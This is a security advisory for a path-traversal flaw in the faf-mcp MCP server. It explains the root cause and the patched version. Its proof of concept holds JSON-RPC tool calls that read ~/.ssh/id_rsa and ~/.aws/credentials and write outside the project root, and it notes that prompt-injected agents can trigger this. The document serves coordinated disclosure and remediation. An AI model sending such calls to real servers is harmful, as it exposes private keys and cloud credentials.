faf-mcp Arbitrary File Read/Write via Unconfined Path Argument
The faf-mcp MCP server accepted caller-controlled file paths in its tools without restricting them to the project directory, letting any MCP client or prompt-injected agent read sensitive files like…

The problem
All tools in faf-mcp that accepted a path argument passed it through tilde expansion and path.resolve() and used the result directly for filesystem reads or writes. There was no check to confirm the resolved path stayed inside the project root.
The shared getProjectPath() helper and the general-purpose faf_read / faf_write tools both had this flaw. An absolute path like ~/.ssh/id_rsa or a ../ traversal sequence escaped the intended .faf project context entirely. The only limit was OS-level file permissions on the server process.
Proof of concept
A working proof-of-concept for this issue in faf-mcp, with the exact payload below.
// Sent as a JSON-RPC tool call over stdio to faf-mcp <= 2.1.2
// Read an SSH private key
{
"jsonrpc": "2.0",
"id": 1,
"method": "tools/call",
"params": {
"name": "faf_read",
"arguments": {
"path": "~/.ssh/id_rsa"
}
}
}
// Read AWS credentials
{
"jsonrpc": "2.0",
"id": 2,
"method": "tools/call",
"params": {
"name": "faf_read",
"arguments": {
"path": "~/.aws/credentials"
}
}
}
// Write outside the project root via traversal
{
"jsonrpc": "2.0",
"id": 3,
"method": "tools/call",
"params": {
"name": "faf_write",
"arguments": {
"path": "../../../tmp/pwned",
"content": "attacker-controlled content"
}
}
}The root cause is the absence of a directory-confinement check after path resolution. Tilde expansion followed by path.resolve() produces a canonical absolute path, but without comparing that result against an allowlisted root, any absolute path or ../ sequence is accepted as-is.
This is a textbook CWE-22 (Path Traversal) compounded by CWE-73 (External Control of File Name or Path).
The patch introduced safe-path.ts, which canonicalizes paths through symlinks and then asserts the resolved path starts with an allowed root (cwd or system temp, overridable via FAF_ALLOWED_ROOTS). A central callTool() guard now runs this check before every tool dispatch, so any path that escapes the project root is refused with a PATH-DENIED error.
Context-specific tools (.faf / .fafm readers) are additionally restricted to only those file types, so secrets are refused regardless of directory.
The fix
Upgrade to faf-mcp 2.1.3 (npm install -g faf-mcp@2.1.3 or npx faf-mcp). If you cannot upgrade, run the server only against trusted local projects. Set the FAF_ALLOWED_ROOTS environment variable to a single project directory for a hard directory boundary as a partial workaround on older versions.
Reported by Zhihao Zhang (Worcester Polytechnic Institute) — coordinated disclosure of the same class of issue in a sibling server prompted the maintainers' self-audit.
Related research
- high · 7.5grok-faf-mcp: Arbitrary File Read via Unconfined Path in FAF Tools
- high · 7.5claude-faf-mcp Arbitrary File Read/Write via Unconfined Path Argument
- highFlowise: Authenticated Arbitrary File Write via S3 Directory Loader Path Traversal
- high · 7.5CVE-2026-45623CVE-2026-45623: PostCSS Arbitrary File Read via sourceMappingURL Path Traversal